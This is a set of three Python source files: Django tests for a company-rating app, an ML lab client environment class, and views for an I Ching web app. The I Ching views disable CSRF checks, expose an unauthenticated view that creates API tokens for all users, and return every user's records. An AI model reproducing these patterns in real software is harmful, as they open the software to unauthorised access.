+{"seq_id":"620827192","text":"from django.test import TestCase\nfrom .models import Empresa\nfrom .views import registrar\nfrom django.shortcuts import render\nfrom django.test.client import Client\nfrom django.core.urlresolvers import reverse\n \n\n# Create your tests here.\nimport unittest\n\n\nclass TestStringMethods(unittest.TestCase):\n\n\tdef test_Modelo(self):\n\t\t\"\"\"\n\t\t\tProbando insercciones de la base de datos.\n\t\t\"\"\"\n\t\temp = Empresa(nombre=\"Maracena\",calificacion=\"-1\")\n\t\temp.save()\n\n\t\temp2 = Empresa.objects.get(nombre=\"Maracena\")\n\t\t#self.assertEqual(emp,Empresa.objects.filter(nombre=\"Maracena\"))\n\t\tself.assertEqual(emp.nombre,emp2.nombre)\n\t\tself.assertEqual(int(emp.calificacion),int(emp2.calificacion))\n\n\tdef test_funciona_index(self):\n\t\tc = Client()\n\n\t\tresponse = c.get(reverse('empresa'))\n\t\tself.assertEqual(response.status_code, 200)\n\n\tdef test_funciona_registrar(self):\n\t\t\"\"\"\n\t\t\tEste Test prueba que funcionan correctamente la vista encargada\n\t\t\tde registrar empresas en la aplicacion. \n\t\t\tPrimero se crea un cliente con el hago una peticion por post\n\t\t\ta registra. \n\t\t\tUna vez hecho compruebo que se ha hecho correctamente y ademas \n\t\t\tque se ha hecho la inserccion en la base de datos correctamente.\n\t\t\tLuego intento registrar la misma empresa y comprubo que va bien\n\t\t\ty no se ha introducido dos veces (objects.get solo devuelve un \n\t\t\tvalor).\n\t\t\"\"\"\n\t\tc = Client()\n\n\t\tresponse = c.post(reverse('registrar'),{'nombre':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\t\tself.assertEqual(emp.nombre,\"Mercadona\")\n\n\t\tresponse = c.post(reverse('registrar'),{'nombre':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\n\tdef test_funciona_borrar(self):\n\t\t\"\"\"\n\t\t\tEn el siguiente test creo un empresa con calificacion 8,\n\t\t\tla guardo en la base de datos, obtengo la tupla de la base\n\t\t\tde datos y compruebo que lo introducido es correcto.\n\t\t\tUna vez hecho esto llamo a borrar que eliminara la calificacion,\n\t\t\tvuelvo a obtener de la base de datos y compruebo que efectivamente\n\t\t\tse ha eliminado la calificacion (en mi caso -1) y vuelvo a\n\t\t\tllamar a borrar para saber si hace una peticion bien aunque\n\t\t\tya este la calificacion a -1.\n\"\"\"\t\t\n\t\tc = Client()\n\n\t\temp = Empresa(nombre=\"Mercadona\",calificacion=\"8\")\n\t\temp.save()\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\t\tself.assertEqual(emp.nombre,\"Mercadona\")\n\t\tself.assertEqual(emp.calificacion,8)\n\n\t\tresponse = c.post(reverse('borrar'),{'NB':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\t\tself.assertEqual(emp.calificacion,-1)\n\n\t\tresponse = c.post(reverse('borrar'),{'NB':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\n\n\n\tdef test_funciona_modificar_calificacion(self):\n\t\t\"\"\"\n\t\t\tTest que comprueba que funcina correctamente la opcion de\n\t\t\tmodificar.\n\"\"\"\n\t\tc = Client()\n\n\t\temp = Empresa(nombre=\"Mercadona2\",calificacion=-1)\n\t\temp.save()\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.nombre,\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,-1)\n\n\t\tresponse = c.post(reverse('modificarCalificacion'),{'nombre':\"Mercadona2\",'calificacion':9})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,-1)\n\n\t\tresponse = c.post(reverse('calificar'),{'nombre':\"Mercadona2\",'calificacion':9})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,9)\n\n\n\t\tresponse = c.post(reverse('modificarCalificacion'),{'nombre':\"Mercadona2\",'calificacion':10})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,10)\n\n\n\n\n\nif __name__ == '__main__':\n\tunittest.main()\n\n\n","sub_path":"apps/empresas/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"399863034","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport logging\nimport os\n\nfrom lab_api.swagger_client.rest import ApiException\nfrom lab_client.commons import text_utils\nfrom lab_client.handler import LabApiHandler, FileHandler\nfrom lab_client.handler.experiment_handler import Experiment\nfrom lab_client.utils import experiment_utils\n\n\nclass Environment:\n \"\"\"\n Initialize environment from a Lab instance. The Environment manages all files (models & datasets), services, experiments\n and provides access to the Lab API. Locally, it has a dedicated folder structure to save models, datasets, analysis and experiment data.\n\n # Arguments\n project (string): Selected project (optional).\n root_folder (string): Root folder of the environment. If not provided, it will use `DATA_ENVIRONMENT` value\n as the root folder. If `temp`, a temporary folder will be used as root folder and removed on exit (optional).\n lab_endpoint (string): Endpoint URL of a Lab instance (optional).\n lab_api_token (string): API Token for accessing the selected Lab instance (optional).\n \"\"\"\n\n _ENV_NAME_ENV_ROOT_PATH = \"DATA_ENVIRONMENT\"\n _TEMP_ROOT_FOLDER = \"temp\"\n\n # Lab related environment variables\n _ENV_NAME_LAB_ENDPOINT = \"LAB_ENDPOINT\"\n _ENV_NAME_LAB_PROJECT = \"LAB_PROJECT\"\n _ENV_NAME_LAB_API_TOKEN = \"LAB_API_TOKEN\"\n\n # local folders\n _LOCAL_ENV_FOLDER_NAME = \"environment\"\n _EXPERIMENTS_FOLDER_NAME = \"experiments\"\n _DATASETS_FOLDER_NAME = \"datasets\"\n _MODELS_FOLDER_NAME = \"models\"\n _DOWNLOADS_FOLDER_NAME = \"downloads\"\n\n _LOCAL_OPERATOR = \"local\"\n _LOCAL_PROJECT = \"local\"\n\n _LAB_USER_PROJECT_PREFIX = \"lab-user-\"\n\n class DataType:\n MODEL = \"model\"\n DATASET = \"dataset\"\n EXPERIMENT = \"experiment\"\n BACKUP = \"backup\"\n\n def __init__(self, project: str = None, root_folder: str = None, lab_endpoint: str = None,\n lab_api_token: str = None):\n\n # Create the Logger\n self.log = logging.getLogger(__name__)\n\n # Initialize parameters\n self.active_exp = None\n self._connected = False # connected to lab\n\n # Set root folder\n if not root_folder:\n # use environment variable\n root_folder = os.getenv(self._ENV_NAME_ENV_ROOT_PATH)\n\n if not root_folder:\n # that current git root as environment folder (add to gitignore?)\n root_folder = experiment_utils.get_git_root()\n\n if not root_folder:\n # create local environment\n root_folder = self._LOCAL_ENV_FOLDER_NAME\n\n if root_folder == self._TEMP_ROOT_FOLDER:\n # if folder is temp -> create temporary folder that will be removed on exit\n import tempfile\n import atexit\n import shutil\n\n root_folder = tempfile.mkdtemp()\n\n # automatically remove temp directory if process exits\n def cleanup():\n self.log.info(\"Removing temp directory: \" + root_folder)\n shutil.rmtree(root_folder)\n self.log.info(\"Temp directory removed\")\n\n atexit.register(cleanup)\n\n if not os.path.exists(root_folder):\n os.makedirs(root_folder)\n\n self._root_folder = root_folder\n\n self._operator = None\n\n self._project = project\n if not self._project:\n self._project = os.getenv(self._ENV_NAME_LAB_PROJECT)\n\n if lab_endpoint is None:\n lab_endpoint = os.getenv(self._ENV_NAME_LAB_ENDPOINT)\n\n if lab_api_token is None:\n lab_api_token = os.getenv(self._ENV_NAME_LAB_API_TOKEN)\n\n if lab_endpoint and not lab_api_token:\n self.log.warning(\"lab_endpoint is provided but no lab_api_token\")\n\n # Initialize handlers\n self._file_handler = None\n self._lab_handler = None\n\n if lab_endpoint and lab_api_token:\n self._lab_handler = LabApiHandler(lab_endpoint=lab_endpoint,\n lab_api_token=lab_api_token)\n\n if self._lab_handler is not None and self.lab_handler.is_connected():\n self.log.info(\"Initializing environment with Lab API: \" + self.lab_handler.lab_endpoint)\n\n operator_user = self.lab_handler.auth_api.get_me()\n if operator_user and operator_user.data and operator_user.data.id:\n self._operator = operator_user.data.id\n self._connected = True\n else:\n self.log.warning(\"Failed to get user information from Lab Instance. Initializing local environment.\")\n self._connected = False\n\n if not self._project:\n if self._operator:\n self._project = self._LAB_USER_PROJECT_PREFIX + self._operator\n else:\n self._project = self._LOCAL_PROJECT\n self.log.info(\"No project was selected. Will fallback to \" + self._project)\n elif self._connected:\n try:\n # check if project is accessible\n project_info = self.lab_handler.lab_api.get_project(self._project)\n if not self.lab_handler.request_successful(project_info):\n self._connected = False\n # TODO self._project = project_info.data.id # set to project id?\n except Exception as e:\n if isinstance(e, ApiException):\n self.log.warning(\n \"Failed to connect to lab. Reason: \" + str(e.reason) + \" (\" + str(e.status) + \")\")\n self._connected = False\n if not self._connected:\n self.log.warning(\n \"Failed to access project \" + str(self._project) + \" on Lab Instance. \"\n \"Initializing local environment.\")\n else:\n self.log.info(\"Initializing local environment.\")\n self._connected = False\n\n def print_info(self, host_info: bool = False):\n \"\"\"\n Prints out a summary of the configuration of the environment instance. Can be used as watermark for notebooks.\n \"\"\"\n print(\"Environment Info:\")\n print(\"\")\n if self.is_connected():\n print(\"Lab Endpoint: \" + self.lab_handler.lab_endpoint)\n lab_info = self.lab_handler.admin_api.get_lab_info()\n print(\"Lab Version: \" + lab_info.data.version)\n else:\n print(\"Lab Endpoint: Not connected!\")\n print(\"\")\n from lab_client.__version__ import __version__\n print(\"Client Version: \" + str(__version__))\n print(\"Configured Project: \" + self.project)\n print(\"Configured Operator: \" + self.operator)\n print(\"\")\n print(\"Folder Structure: \")\n print(\"- Root folder: \" + os.path.abspath(self.root_folder))\n print(\" - Project folder: \" + self.project_folder)\n print(\" - Datasets folder: \" + self.datasets_folder)\n print(\" - Models folder: \" + self.models_folder)\n print(\" - Experiments folder: \" + self.experiments_folder)\n if host_info:\n print(\"\")\n print(\"Host Info: \")\n import yaml\n print(yaml.safe_dump(experiment_utils.get_host_info().to_dict(),\n allow_unicode=True,\n default_flow_style=False))\n\n def is_connected(self) -> bool:\n \"\"\"\n Returns `True`, if the environment is connected to a Lab instance.\n \"\"\"\n\n return self._lab_handler is not None and self._connected\n\n def cleanup(self, only_selected_project: bool = False, max_file_size_mb: int = 50, last_file_usage: int = 3,\n replace_with_info: bool = True, excluded_folders: list = None):\n \"\"\"\n Cleanup environment folder to reduce disk space usage.\n Removes all files with more than 50 MB that haven't been used for the last 3 days.\n\n # Arguments\n only_selected_project (bool): If 'True', only the currently selected project will be cleaned up.\n Otherwise all projects will be cleaned. Default: False.\n max_file_size_mb (int): Max size of files in MB that should be deleted. Default: 50.\n replace_with_info (bool): Replace removed files with `.removed.txt` files with file removal reason. Default: True.\n last_file_usage (int): Number of days a file wasn't used to allow the file to be removed. Default: 3.\n excluded_folders (list[str]): List of folders to exclude from removal (optional).\n \"\"\"\n from lab_client.utils import file_handler_utils\n\n folder = self.root_folder\n\n if only_selected_project:\n folder = self.project_folder\n\n file_handler_utils.cleanup_folder(folder,\n max_file_size_mb=max_file_size_mb,\n last_file_usage=last_file_usage,\n replace_with_info=replace_with_info,\n excluded_folders=excluded_folders)\n\n @property\n def root_folder(self) -> str:\n \"\"\"\n Returns the path to the root folder of the environment.\n \"\"\"\n\n return self._root_folder\n\n @property\n def project_folder(self) -> str:\n \"\"\"\n Returns the path to the project folder of the environment.\n \"\"\"\n folder = os.path.join(self.root_folder, text_utils.simplify(self.project))\n\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n return folder\n\n @property\n def datasets_folder(self) -> str:\n \"\"\"\n Returns the path to the datasets folder of the selected project.\n \"\"\"\n folder = os.path.join(self.project_folder, self._DATASETS_FOLDER_NAME)\n\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n return folder\n\n @property\n def downloads_folder(self) -> str:\n \"\"\"\n Returns the path to the downloads folder of the selected project. This folder contains downloaded via url.\n \"\"\"\n folder = os.path.join(self.project_folder, self._DOWNLOADS_FOLDER_NAME)\n if not os.path.exists(folder):\n os.makedirs(folder)\n return folder\n\n @property\n def models_folder(self) -> str:\n \"\"\"\n Returns the path to the models folder of the selected project.\n \"\"\"\n folder = os.path.join(self.project_folder, self._MODELS_FOLDER_NAME)\n\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n return folder\n\n @property\n def experiments_folder(self) -> str:\n \"\"\"\n Returns the path to the experiment folder of the environment.\n \"\"\"\n folder = os.path.join(self.project_folder, self._EXPERIMENTS_FOLDER_NAME)\n if not os.path.exists(folder):\n os.makedirs(folder)\n return folder\n\n @property\n def project(self) -> str:\n \"\"\"\n Returns the name of the configured project.\n \"\"\"\n\n if self._project is None:\n self._project = self._LOCAL_PROJECT\n\n return self._project\n\n @property\n def operator(self) -> str:\n \"\"\"\n Returns the operator (user) of this environment.\n \"\"\"\n\n if self._operator is None:\n self._operator = self._LOCAL_OPERATOR\n\n return self._operator\n\n # Handlers\n\n @property\n def file_handler(self) -> FileHandler:\n \"\"\"\n Returns the file handler. The file handler provides additional functionality for interacting with the remote storage.\n \"\"\"\n\n if self._file_handler is None:\n self._file_handler = FileHandler(self)\n\n return self._file_handler\n\n @property\n def lab_handler(self) -> LabApiHandler:\n \"\"\"\n Returns the lab handler. The lab handler provides access to the REST API of the configured Lab Instance.\n \"\"\"\n\n if self._lab_handler is None:\n self.log.debug(\"Lab Handler is not initialized.\")\n\n return self._lab_handler\n\n # Default file operations, for more operations use file handler\n\n def upload_folder(self, folder_path: str, data_type: str, metadata: dict = None,\n file_name: str = None, track_event: bool = True) -> str:\n \"\"\"\n Packages (via ZIP) and uploads the specified folder to the remote storage.\n\n # Arguments\n folder_path (string): Local path to the folder you want ot upload.\n data_type (string): Data type of the resulting zip-file. Possible values are `model`, `dataset`, `experiment`.\n metadata (dict): Adds additional metadata to remote storage (optional).\n file_name (str): File name to use in the remote storage. If not provided, the name will be extracted from the provided path (optional)\n track_event (bool): If `True`, this file operation will be tracked and registered experiments will be notified (optional)\n\n # Returns\n Key of the uploaded (zipped) folder.\n\n # Raises\n Exception if folder does not exist locally\n \"\"\"\n\n return self.file_handler.upload_folder(folder_path, data_type,\n metadata=metadata,\n file_name=file_name,\n track_event=track_event)\n\n def upload_file(self, file_path: str, data_type: str, metadata: dict = None,\n file_name: str = None, track_event: bool = True) -> str:\n \"\"\"\n Uploads a file to the remote storage.\n\n # Arguments\n file_path (string): Local file path to the file you want ot upload.\n data_type (string): Data type of the file. Possible values are `model`, `dataset`, `experiment`.\n metadata (dict): Adds additional metadata to remote storage (optional).\n file_name (str): File name to use in the remote storage. If not provided, the name will be extracted from the provided path (optional)\n track_event (bool): If `True`, this file operation will be tracked and registered experiments will be notified (optional)\n\n # Returns\n Key of the uploaded file.\n\n # Raises\n Exception if file does not exist locally.\n \"\"\"\n\n return self.file_handler.upload_file(file_path, data_type,\n metadata=metadata,\n file_name=file_name,\n track_event=track_event)\n\n def get_file(self, key: str, force_download: bool = False, unpack: bool = False, track_event: bool = True) -> str:\n \"\"\"\n Returns local path to the file for the given `key`. If the file is not available locally, download it from the remote storage.\n\n # Arguments\n key (string): Key or url of the requested file.\n force_download (boolean): If `True`, the file will always be downloaded and not loaded locally (optional).\n unpack (boolean): If `True`, the file - if a valid ZIP - will be unpacked within the data folder\n and the folder path will be returned (optional).\n track_event (bool): If `True`, this file operation will be tracked and registered experiments will be notified (optional)\n\n # Returns\n Local path to the requested file or `None` if file is not available.\n \"\"\"\n\n return self.file_handler.get_file(key, force_download=force_download, unpack=unpack, track_event=track_event)\n\n # experiment handling\n def create_file_path(self, filename: str) -> str or None:\n \"\"\"\n Returns the path for a new file in the experiment folder.\n\n # Arguments\n filename (string): Name for the new file.\n\n # Returns\n Local path in experiment folder for the new file.\n \"\"\"\n if not self.active_exp:\n self.log.info(\"This environment does not have an active experiment. \"\n \" Creating a temporary experiment.\")\n\n self.active_exp = Experiment(self, \"local temp experiment\",\n auto_sync=False,\n track_file_events=False,\n redirect_logs=False,\n upload_code_repo=False,\n upload_code_script=False)\n\n return self.active_exp.create_file_path(filename)\n\n def create_experiment(self, name: str) -> Experiment:\n \"\"\"\n Creates a new #Experiment and save it as active experiment.\n\n # Arguments\n name (string): Short description of the experiment.\n\n # Returns\n The created #Experiment instance.\n \"\"\"\n self.active_exp = Experiment(self, name, context_symbol_table=experiment_utils.get_caller_symbol_table())\n return self.active_exp\n","sub_path":"services/lab-workspace/docker-res/duplicated-resources/ml-lab-py/lab_client/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":17225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"215570047","text":"\nfrom django.shortcuts import get_object_or_404, render\nfrom django.conf import settings\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.views.generic import TemplateView, ListView, DetailView\nfrom rest_framework.views import APIView\nfrom rest_framework import viewsets, status\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.decorators import api_view\nfrom rest_framework import permissions\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nimport simplejson as json\nfrom iching.models import Trigram, Hexagram, UserThrow\nfrom iching.serializers import TrigramSerializer, HexagramSerializer, UserThrowSerializer\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.core import serializers\nfrom django.core.urlresolvers import reverse\n\n\n\nclass CSRFExemptSessionAuthentication(SessionAuthentication):\n def enforce_csrf(self, request):\n return\n\n\nclass TrigramViewSet(viewsets.ModelViewSet):\n queryset = Trigram.objects.all().order_by('trigram')\n serializer_class = TrigramSerializer\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n\n\nclass HexagramViewSet(viewsets.ModelViewSet):\n queryset = Hexagram.objects.all().order_by('hexagram')\n serializer_class = HexagramSerializer\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n\n\nclass JSONResponse(HttpResponse):\n\n def __init__(self, data, **kwargs):\n content = JSONRenderer().render(data)\n kwargs['content_type'] = 'application/json'\n super(JSONResponse, self).__init__(content, **kwargs)\n\n\n@login_required\n@api_view(['GET', 'POST'])\ndef userthrowlist(request):\n if request.method == 'GET':\n userthrows = UserThrow.objects.all()\n serializer = UserThrowSerializer(userthrows, many=True)\n return JSONResponse(serializer.data)\n\n elif request.method == 'POST':\n serializer = UserThrowSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return JSONResponse(serializer.data, status=status.HTTP_201_CREATED)\n return JSONResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@login_required\n@api_view(['GET', 'PUT', 'DELETE'])\ndef userthrowdetail(request, pk):\n try:\n userthrow = UserThrow.objects.get(pk=pk)\n except UserThrow.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n if request.method == 'GET':\n serializer = UserThrowSerializer(userthrow)\n return JSONResponse(serializer.data)\n elif request.method == 'PUT':\n serializer = UserThrowSerializer(userthrow, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return JSONResponse(serializer.data)\n return JSONResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n elif request.method == 'DELETE':\n userthrow.delete()\n return HttpResponse(status=status.HTTP_204_NO_CONTENT)\n\n\nclass UserThrowList(APIView):\n authentication_classes = (CSRFExemptSessionAuthentication, BasicAuthentication)\n permission_classes = (permissions.IsAuthenticated,)\n\n def get(self, request, format=None):\n snippets = UserThrow.objects.all()\n serializer = UserThrowSerializer(snippets, many=True)\n return Response(serializer.data)\n\n def post(self, request, format=None):\n serializer = UserThrowSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UserThrowDetail(APIView):\n authentication_classes = (CSRFExemptSessionAuthentication, BasicAuthentication)\n permission_classes = (permissions.IsAuthenticated,)\n\n def get_object(self, pk):\n try:\n return UserThrow.objects.get(pk=pk)\n except UserThrow.DoesNotExist:\n raise Http404\n\n def get(self, request, pk, format=None):\n userthrow = self.get_object(pk)\n serializer = UserThrowSerializer(userthrow)\n return Response(serializer.data)\n\n def put(self, request, pk, format=None):\n userthrow = self.get_object(pk)\n serializer = UserThrowSerializer(userthrow, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, pk, format=None):\n userthrow = self.get_object(pk)\n userthrow.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass IChingView(TemplateView):\n template_name = 'iching.html'\n\n def get_context_data(self, **kwargs):\n context = super(IChingView, self).get_context_data(**kwargs)\n jsvars = {'static_prefix': settings.STATIC_URL, 'throw_save_url': 'iching/userthrows',\n 'user_id': self.request.user.email}\n context.update({'jsvars': json.dumps(jsvars)})\n return context\n\n\nclass HexagramListView(ListView):\n template_name = 'hexagramlist.html'\n context_object_name = 'hexagram_list'\n model = Hexagram\n queryset = Hexagram.objects.order_by('pk')\n\n def get_context_data(self, **kwargs):\n context = super(HexagramListView, self).get_context_data(**kwargs)\n return context\n\n\nclass TrigramListView(ListView):\n template_name = 'trigramlist.html'\n context_object_name = 'trigram_list'\n model = Trigram\n\n def get_context_data(self, **kwargs):\n context = super(TrigramListView, self).get_context_data(**kwargs)\n return context\n\n\nclass HexagramDetailView(DetailView):\n template_name = 'hexagramdetail.html'\n context_object_name = 'hexagram'\n model = Hexagram\n\n def get_context_data(self, **kwargs):\n context = super(HexagramDetailView, self).get_context_data(**kwargs)\n return context\n\n\nclass TrigramDetailView(DetailView):\n template_name = 'trigramdetail.html'\n context_object_name = 'trigram'\n model = Trigram\n\n def get_context_data(self, **kwargs):\n context = super(TrigramDetailView, self).get_context_data(**kwargs)\n return context\n\n\nclass ThrowListView(ListView):\n template_name = 'throwlist.html'\n context_object_name = 'throw_list'\n model = UserThrow\n\n def get_queryset(self):\n try:\n if not self.request.user.is_authenticated():\n print('Not authenticated....user.pk = ' + str(self.request.user))\n\n print('self.request.user.pk = ' + str(self.request.user))\n else:\n print('Authenticated....user.pk = ' + str(self.request.user))\n queryset = UserThrow.objects.get(user=self.request.user).order_by('-date')\n except Exception as e:\n print('ThrowListView Exception....e = ' + e.message)\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(ThrowListView, self).get_context_data(**kwargs)\n return context\n\n\nclass ThrowDetailView(DetailView):\n template_name = 'throwdetail.html'\n context_object_name = 'throw'\n model = UserThrow\n\n def get_context_data(self, **kwargs):\n try:\n '''\n for count, thing in enumerate(kwargs):\n print 'KWARGS.... {0}. {1}'.format(count, thing)\n\n pk = kwargs.get('pk')\n\n print 'pk = ', pk\n '''\n userthrow = get_object_or_404(UserThrow.objects, pk=pk)\n statichexagram = Hexagram.objects.get(throw=userthrow.throw())\n movedhexagram = Hexagram.objects.get(throw=userthrow.movedthrow())\n context = super(ThrowDetailView, self).get_context_data(**kwargs)\n context.update({'static_prefix': settings.STATIC_URL, 'statichexagram': statichexagram,\n 'movedhexagram': movedhexagram})\n return context\n except Http404:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n\n# @login_required\ndef throwlist(request):\n try:\n if not request.user.is_authenticated():\n return HttpResponseRedirect(reverse('login'))\n # print('Not authenticated....user.pk = ' + str(request.user))\n # return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n throw_list = UserThrow.objects.filter(user=request.user)\n context = {'static_prefix': settings.STATIC_URL, 'throw_list': throw_list}\n return render(request, 'throwlist.html', context)\n except UserThrow.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n\ndef throwdetail(request, pk):\n try:\n\n def throwtobinary(throw):\n binarystr = ''\n for aline in throw:\n if aline in ['6', '7']:\n binarystr += '0'\n else:\n binarystr += '1'\n return binarystr\n\n print('pk = ', pk)\n\n userthrow = UserThrow.objects.get(pk=pk)\n\n lines = userthrow.throw()\n movedlines = userthrow.movedthrow()\n\n print('lines = ', lines)\n print('movedlines = ', movedlines)\n\n linesbin = throwtobinary(lines)\n movedlinesbin = throwtobinary(movedlines)\n\n print('linesbin = ', linesbin)\n print('movedlinesbin = ', movedlinesbin)\n\n staticobj = Hexagram.objects.get(throw=linesbin)\n movedobj = Hexagram.objects.get(throw=movedlinesbin)\n\n print('movedhexagram = ', staticobj.hexagram)\n print('statichexagram = ', movedobj.hexagram)\n\n js_vars = {'static_prefix': settings.STATIC_URL, 'lines': lines, 'movedlines': movedlines,\n 'static_name': staticobj.hexagram_name, 'moved_name': movedobj.hexagram_name}\n context = {'jsvars': json.dumps(js_vars), 'question': userthrow.question, 'date': userthrow.dateonly()}\n\n return render(request, 'throwdetail.html', context)\n\n except UserThrow.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n\ndef move_line(line_num):\n if line_num == \"6\":\n return 8\n elif line_num == \"9\":\n return 7\n else:\n return int(line_num)\n\n\ndef make_binary(num):\n if num in ['6', '7']:\n return '0'\n else:\n return '1'\n\n\ndef ordinal(num):\n return '%d%s' % (\n num, {11: 'th', 12: 'th', 13: 'th'}.get(num % 100, {1: 'st', 2: 'nd', 3: 'rd', }.get(num % 10, 'th')))\n\n\ndef cast(request):\n if request.user.is_anonymous():\n user = None\n else:\n user = request.user\n js_vars = {'static_prefix': settings.STATIC_URL, 'throw_save_url': 'iching/userthrows', 'userid': request.user.pk}\n context = {'jsvars': json.dumps(js_vars), 'moonlink': True}\n return render(request, 'iching.html', context)\n\n\ndef line(request, hex_id, line_id, line_value):\n return HttpResponse(\n \"Hello, world. You're looking at request for hexagram %s, line %s, value %s\" % (hex_id, line_id, line_value))\n\n\ndef name(request, lines):\n binary_string = ''.join(map(make_binary, lines))\n the_hex = get_object_or_404(Hexagram.objects, throw=binary_string)\n return HttpResponse(the_hex.chinese_name + '
' + the_hex.hexagram_name)\n\n\ndef get_db_line(the_hex, index, title):\n if index == 1:\n if title:\n return the_hex.line1_title\n else:\n return the_hex.line1\n elif index == 2:\n if title:\n return the_hex.line2_title\n else:\n return the_hex.line2\n elif index == 3:\n if title:\n return the_hex.line3_title\n else:\n return the_hex.line3\n elif index == 4:\n if title:\n return the_hex.line4_title\n else:\n return the_hex.line4\n elif index == 5:\n if title:\n return the_hex.line5_title\n else:\n return the_hex.line5\n else:\n if title:\n return the_hex.line6_title\n else:\n return the_hex.line6\n\n\ndef throwdescription(request, lines):\n moving_lines = {}\n mvg_lns = {}\n binary_string = ''.join(map(make_binary, lines))\n the_hex = get_object_or_404(Hexagram.objects, throw=binary_string)\n index = 1\n for current_line in lines:\n if current_line == '6':\n moving_lines['Six in the ' + ordinal(index) + ' place.'] = get_db_line(the_hex, index, True)\n mvg_lns[index] = {'name': 'Six in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n elif current_line == '9':\n moving_lines['Nine in the ' + ordinal(index) + ' place.'] = get_db_line(the_hex, index, True)\n mvg_lns[index] = {'name': 'Nine in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n index += 1\n return render(request, 'hexagram.html',\n {'static_prefix': settings.STATIC_URL, 'hexagram': the_hex, 'movinglines': mvg_lns})\n\n\nclass HexagramView(TemplateView):\n template_name = 'hexagram.html'\n\n def get_context_data(self, **kwargs):\n mvg_lns = {}\n binary_string = ''.join(map(make_binary, kwargs.get('lines')))\n the_hex = get_object_or_404(Hexagram.objects, throw=binary_string)\n index = 1\n for current_line in kwargs.get('lines'):\n if current_line == '6':\n mvg_lns[index] = {'name': 'Six in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n elif current_line == '9':\n mvg_lns[index] = {'name': 'Nine in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n index += 1\n context = super(HexagramView, self).get_context_data(**kwargs)\n context.update({'static_prefix': settings.STATIC_URL, 'hexagram': the_hex, 'movinglines': mvg_lns})\n return context\n\n\ndef test(request):\n from django.contrib.auth.models import User\n from rest_framework.authtoken.models import Token\n for user in User.objects.all():\n Token.objects.get_or_create(user=user)\n return HttpResponse(\"Hello, added tokens to users\")\n","sub_path":"iching/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
